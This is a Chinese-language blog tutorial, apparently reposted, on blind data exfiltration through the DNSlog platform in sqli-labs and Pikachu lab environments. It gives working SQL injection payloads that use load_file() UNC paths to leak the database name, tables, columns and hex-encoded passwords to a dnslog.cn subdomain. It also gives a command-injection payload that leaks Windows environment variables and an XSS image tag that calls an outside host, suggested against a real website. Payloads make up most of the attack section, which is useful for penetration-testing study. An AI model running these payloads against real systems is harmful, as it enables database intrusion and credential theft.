DNSlog平台各種利用姿勢(盲注)


題記

       首先祝大家新年快樂,過年給我最大的感覺就是幾家歡喜幾家愁,我們國家總量看似光鮮,可是平均下來也不多,小老百姓更不容易了,一般沒有文化的百姓除了創業就是打工就是中間商賺差價,真是生活不易,加油,一起建設新中國。

       DNSlog我以前是通過看推文了解過,后來零組上架了這么個功能,想着試試,后來發現零組的好像還用不了,還是用別的平台吧,這是可以利用它進行快速盲注的工具,看完大佬們的文章復現完受益良多,get到一個新姿勢。玩這個的原因之一也包括我最近在整理sql注入。

靶場環境

       DNSlog平台:http://dnslog.cn

       Sqli-less5:存在布爾盲注漏洞。

       皮卡丘靶場命令執行模塊

       真實網站反射型xss

DNSlog簡介

       在某些無法直接利用漏洞獲得回顯的情況下,但是目標可以發起DNS請求,這個時候就可以通過這種方式把想獲得的數據外帶出來。

       DNS的全稱是Domain Name System(網絡名稱系統),它作為將域名和IP地址相互映射,使人更方便地訪問互聯網。當用戶輸入某一網址如www.baidu.com,網絡上的DNS Server會將該域名解析,並找到對應的真實IP如127.0.0.1,使用戶可以訪問這台服務器上相應的服務。

       了解到了什么是DNS,那么什么又是DNSlog呢?

       DNSlog就是存儲在DNS Server上的域名信息,它記錄着用戶對域名www.baidu.com等的訪問信息,類似日志文件。

       原理:我注冊了一個為a.com的域名,我將他a記錄泛解析到10.0.0.0上,這樣就實現了無論我記錄值填什么他都有解析,並且都指向10.0.0.0,當我向dns服務器發起test.a.com的解析請求時,DNSlog中會記錄下他給test.a.com解析,解析值為10.0.0.0。(通俗來講就是我們申請一個dnslog的平台,當我們盲注的時候把想要的數據和平台給的地址拼接起來,dnslog平台就會把請求的記錄顯示出來。)

常用在哪些情況下:

       1、SQL注入中的盲注

       2、無回顯的命令執行

       3、無回顯的SSRF

用到的函數

       DNSlog進行注入需要用到load_file()函數,為什么要用load_file函數呢?因為load_file函數可以解析dns請求。

       數據庫中使用此payload:select load_file('\\\\SQL注入查詢語句.a.com')

       有些地方用Hex編碼,編碼目的就是減少干擾,因為很多數據庫字段的值可能是有特殊符號的,這些特殊符號拼接在域名里是無法做dns查詢的,因為域名是有一定的規范,有些特殊符號是不能帶入的。

       注意:load_file函數在Linux下是無法用來做dnslog攻擊的,因為在這里就涉及到Windows的一個小Tips——UNC路徑。

Sqli利用DNSlog進行布爾盲注

       1、打開DNSlog平台,申請一個域名。此時我們申請到h6xj05.dnslog.cn。

       2、打開布爾盲注靶場,http://192.168.1.132:86/Less-5/?id=1為正常頁面。加上'報錯,可能發現只返回真和假,於是利用DNSlog。

       注意這里的"\"表示轉義,后面的ABC可以改成任何字母;sql語句在雙引號內不執行,所以要用concat()函數拼接sql語句在雙引號內不執行,所以要用concat()函數拼接。

查詢數據庫名稱

       第一條payload: ' and if((select load_file(concat('\\\\',(select database()),'.h6xj05.dnslog.cn\\aaa'))),1,1)--+

       當我們在瀏覽器輸入payload的時候,頁面返回正常且DNSlog收到數據庫的記錄。

       頁面執行的語句在數據庫中對應的語句為select * from users where id='1' and if((select load_file(concat('\\\\',(select database()),'.h6xj05.dnslog.cn\\aaa'))),1,1)-- ' LIMIT 0,1

查表名

       首先我們看數據庫中表名:

       查第一個表的名字:' and if((select load_file(concat('\\\\',(select table_name from information_schema.tables where table_schema=database() limit 0,1),'.h6xj05.dnslog.cn\\aaa'))),1,1)--+

       查第二個表的名字:' and if((select load_file(concat('\\\\',(select table_name from information_schema.tables where table_schema=database() limit 1,1),'.h6xj05.dnslog.cn\\aaa'))),1,1)--+

查字段名

       ?id=1' and if((select load_file(concat('\\\\',(select column_name from information_schema.columns where table_name='users' limit 1,1),'.h6xj05.dnslog.cn\\aaa'))),1,1)--+

       如果查別的字段修改limit后面的值即可。

       做的過程不小心把dnslog刷新了,可以后面域名有所變化,原理是相通的,不影響理解。

查想要的值

       查找users表中password字段的第一個值:?id=1' and if((select load_file(concat('\\\\',(select hex(password) from users limit 0,1),'.licayh.dnslog.cn\\aaa'))),1,1)--+

       查找users表中password字段的第二個值:?id=1' and if((select load_file(concat('\\\\',(select hex(password) from users limit 1,1),'.licayh.dnslog.cn\\aaa'))),1,1)--+

Hex解密

       打開http://ctf.ssleye.com/hex.html

       可以看到解得

       分別對應的數據庫中數據。

其他無回顯注入

命令注入

       適用於無回顯的命令注入點

       使用皮卡丘靶場的命令注入模塊實驗

       假設該注入點無回顯

       查詢到了我們輸入的變量

       %os%.licayh.dnslog.cn

windows常用變量:

//變量 類型 描述

//%ALLUSERSPROFILE% 本地 返回"所有用戶"配置文件的位置。

//%APPDATA%    本地 返回默認情況下應用程序存儲數據的位置。

//%CD% 本地 返回當前目錄字符串。

//%CMDCMDLINE% 本地 返回用來啟動當前的 Cmd.exe 的准確命令行。

//%CMDEXTVERSION% 系統 返回當前的"命令處理程序擴展"的版本號。

//%COMPUTERNAME% 系統 返回計算機的名稱。

//%COMSPEC% 系統 返回命令行解釋器可執行程序的准確路徑。

//%DATE% 系統 返回當前日期。使用與 date /t 命令相同的格式。由 Cmd.exe 生成。有關 date 命令的詳細信息,請參閱 Date。

//%ERRORLEVEL% 系統 返回上一條命令的錯誤代碼。通常用非零值表示錯誤。

//%HOMEDRIVE% 系統 返回連接到用戶主目錄的本地工作站驅動器號。基於主目錄值而設置。用戶主目錄是在"本地用戶和組"中指定的。

//%HOMEPATH% 系統 返回用戶主目錄的完整路徑。基於主目錄值而設置。用戶主目錄是在"本地用戶和組"中指定的。

//%HOMESHARE% 系統 返回用戶的共享主目錄的網絡路徑。基於主目錄值而設置。用戶主目錄是在"本地用戶和組"中指定的。

//%LOGONSERVER% 本地 返回驗證當前登錄會話的域控制器的名稱。

//%NUMBER_OF_PROCESSORS% 系統 指定安裝在計算機上的處理器的數目。

//%OS% 系統 返回操作系統名稱。Windows 2000 顯示其操作系統為 Windows_NT。

//%PATH% 系統 指定可執行文件的搜索路徑。

//%PATHEXT% 系統 返回操作系統認為可執行的文件擴展名的列表。

//%PROCESSOR_ARCHITECTURE% 系統 返回處理器的芯片體系結構。值:x86 或 IA64(基於 Itanium)。

//%PROCESSOR_IDENTFIER% 系統 返回處理器說明。

//%PROCESSOR_LEVEL% 系統 返回計算機上安裝的處理器的型號。

//%PROCESSOR_REVISION% 系統 返回處理器的版本號。

//%PROMPT% 本地 返回當前解釋程序的命令提示符設置。由 Cmd.exe 生成。

//%RANDOM% 系統 返回 0 到 32767 之間的任意十進制數字。由 Cmd.exe 生成。

//%SYSTEMDRIVE% 系統 返回包含 Windows server operating system 根目錄(即系統根目錄)的驅動器。

//%SYSTEMROOT% 系統 返回 Windows server operating system 根目錄的位置。

//%TEMP%和%TMP% 系統和用戶 返回對當前登錄用戶可用的應用程序所使用的默認臨時目錄。有些應用程序需要 TEMP,而其他應用程序則需要 TMP。

//%TIME% 系統 返回當前時間。使用與time /t命令相同的格式。由Cmd.exe生成。有關time命令的詳細信息,請參閱 Time。

//%USERDOMAIN% 本地 返回包含用戶帳戶的域的名稱。

//%USERNAME% 本地 返回當前登錄的用戶的名稱。

//%USERPROFILE% 本地 返回當前用戶的配置文件的位置。

//%WINDIR% 系統 返回操作系統目錄的位置。

xss盲打

       找一個有反射型xss的網站

       注入點插入:<img src="http://licayh.dnslog.cn/aaa">

       收到請求說明觸發了插入的js代碼

sqlmap使用dns

       sqlmap可以使用--dns-domain參數實現自動化dns注入

參考鏈接

       滲透測試中dns log的使用(很不錯的一篇原理解析文):http://cnblogs.com/rnss/p/11320305.html

       一篇文章理解DNSlog的妙用:http://mp.weixin.qq.com/s/MFKs80OcUdtUKmBO6WBcQA

       Dnslog在SQL注入中的實戰(各種數據庫全了,有需要可看此處復習):http://anquanke.com/post/id/98096


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM